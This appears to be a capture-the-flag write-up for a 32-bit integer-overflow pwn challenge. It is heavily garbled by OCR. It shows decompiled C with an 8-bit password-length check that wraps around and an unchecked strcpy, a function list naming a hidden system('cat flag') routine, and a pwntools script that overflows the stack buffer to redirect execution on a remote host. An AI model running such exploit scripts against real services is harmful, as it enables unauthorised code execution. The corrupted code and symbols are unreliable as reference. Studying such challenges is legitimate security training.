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int _ cdecl main(int argc, censt char **argv, const char **envp)

i
int v4; // [esp+Ch] [

setbuf(stdin, @);
setbuf (stdout, @);
setbuf (stderr, @);

puts(”--------mmmmm oo RE
puts ("~ Welcome to CTF! ~~"});
puts(” 1.Login "¥s
puts(” 2.Exit B
puts(”--------mmmmm oo “)s

printf({"Your choice:™);
isoc99_scanf("%d", &v4);

if (va==1)
login();

h

else
if ( w4 ==2)

puts("Bye~");
exit(@);

puts("Invalid Cheice!");

h

return @;
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char *login()

char buf; // [esp+@h] [ebp-228h]
char s; // [esp+28@h] [ebp-28h]

memset(&s, @, Bx28u);

memset(&buf, B, Bx200u);
puts("Please input your username:™);
read(®, &s, @x19u);

printf("Hello ¥%s\n", &s);
puts({"Please input your passwd:");
read(@®, &buf, @x199u};

return check_passwd(&buf);
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char *_ cdecl check_passwd(char *s)
i
char *result; // eax
char dest; // [esp+ah] [ebp-14h]
unsigned _ int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if (w3 <=3u || v3 > 8u )
{
puts("Invalid Password™);
result = fflush(stdout);
b

else

puts("Success™);

fflush(stdout);

result = strepy(&dest, s);
1

return result;
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Function name Segment Start & ; Ent what_is_this()
_init_proc init 03045484 3| return system("cat flag");
=ub_E0454E0 plt 030434E0 e
_setbuf .plt 050484C0
_read .plt 030484100
_printf plt 080484F0
_fflush plt 080484F0
_strepy .plt 03048500
e plt 08048510
el plt 08048520
exit plt 08048530
“strlen plt 08048540
_ libe_start_main plt 08048550
_memset .plt 03048560
 is0c99_scanf slt 05048570
_ gnon_start_ plt. zot 08048550
_start text 08043590
__x8f_get_pe_thunle_hsx text 08048600
deregister_tm_clones text 08048510
regizter_tm_clones text 08048800
_ do_global _dtors_aum text 05045640
| amadunn, text 08043660
i I text 0804365E
check_pazzwd text 080436 44
7| login et 08048720
main . text 03048 7CA
_libe_csu_init text O50455ED
_libe_csu fini et 05048940
_term_proc fini 08045944 W
>
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expin T :

from pwn import *

#sh = process('./int_overflow")

sh = remote('220.249.52.133"', 49030)
sh.recvuntil('Your choice:")

sh.sendline('1")

sh.recvuntil('your username:\n")
sh.sendline('yangns")

sh.recvuntil('your passwd:\n')

payload = 'a' * @x18 + p32(0x804868B) + 'b' * 231
sh.sendline(payload)

print sh.recvall()
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